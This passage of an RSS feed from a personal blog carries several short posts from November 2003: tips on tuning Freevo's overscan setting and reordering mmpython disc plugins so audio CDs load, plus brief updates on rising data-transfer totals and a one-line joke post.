      <description>&lt;p&gt;Right, well Freevo already has an undocumented OVERSCAN config item. Set that to slowly bring in the corners of the display. About 70×30 is right for our system, although the watermark pictures on the main screen are a bit distorted.&lt;/p&gt;
&lt;p&gt;mmpython has a problem where it stops loading any disc plugins if any fail, and unfortunatly the dvd one is at the top of the list. Shifting it to the bottom made audio CDs work.&lt;/p&gt;
&lt;p&gt;Oh, and ripping is the ‘audio.cdbackup’ plugin. So far it has taken over 10mins to encode a 5 min track, so we’ll see what it’s like in a bit.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How high’s the water, momma?</title>
      <link>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</link>
      <pubDate>Fri, 28 Nov 2003 21:30:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</guid>
      <description>&lt;p&gt;463MB and rising…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Six feet high and rising…</title>
      <link>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</link>
      <pubDate>Fri, 28 Nov 2003 00:24:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</guid>
      <description>&lt;p&gt;Data transfer due to mfx is now at 416MB, up from 357MB 18 hours ago…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Blergh!</title>
      <link>https://juju.nz/michaelh/2003/11/blergh/</link>
      <pubDate>Thu, 27 Nov 2003 09:49:51 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/blergh/</guid>
      <description>&lt;p&gt;Eat kitty!&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
